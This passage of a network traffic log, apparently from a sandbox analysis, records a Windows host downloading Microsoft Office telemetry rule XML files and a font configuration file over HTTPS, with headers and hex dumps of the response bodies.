61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:33 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:33 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:33 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: c9ccbc18-001e-0014-5cf1-3a5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054033Z-185f5d8b95c4hl5whC1NYCeex000000009pg00000000dzv5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 05:40:33 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49822	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:33 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 05:40:33 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=39891 Date: Wed, 20 Nov 2024 05:40:33 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:34 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:34 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:34 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054034Z-1777c6cb754mrj2shC1TEB6k7w000000096g00000000kybw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:34 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:34 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:34 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:34 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054034Z-r1d97b99577656nchC1TEBk98c00000008f0000000008nwd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:34 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:34 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:34 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:34 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: e045c2d1-201e-003c-718c-3a30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054034Z-r1d97b99577ndm4rhC1TEBf0ps00000008h0000000009fa6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:34 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:34 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:34 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:34 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054034Z-1777c6cb7549j9hhhC1TEBzmcc0000000940000000006fd3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:34 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:34 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:34 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:34 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 96190df9-401e-0016-6a8c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054034Z-r1d97b99577dd2gchC1TEBz5ys000000086g00000000d8st x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:34 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49840	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:34 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 05:40:35 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=39851 Date: Wed, 20 Nov 2024 05:40:34 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-20 05:40:35 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:35 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:35 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:35 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 07391e4c-a01e-0032-018c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054035Z-1777c6cb7549x5qchC1TEBggbg000000093000000000pky6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:35 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:35 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:35 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:35 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c363d3e9-d01e-0028-158c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054035Z-r1d97b99577jlrkbhC1TEBq8d000000008dg000000000rkw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:35 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:35 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:35 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:35 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c363d474-d01e-0028-1b8c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054035Z-r1d97b99577n4dznhC1TEBc1qw00000008e0000000009m3p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:35 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:35 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:35 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:35 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f909e935-c01e-0049-358c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054035Z-r1d97b99577brct2hC1TEBambg000000027g000000000dps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:35 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:35 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:35 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:35 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df1e4bb0-c01e-0034-6f8a-3a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054035Z-185f5d8b95crl6swhC1NYC3ueg00000009yg000000008nrk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
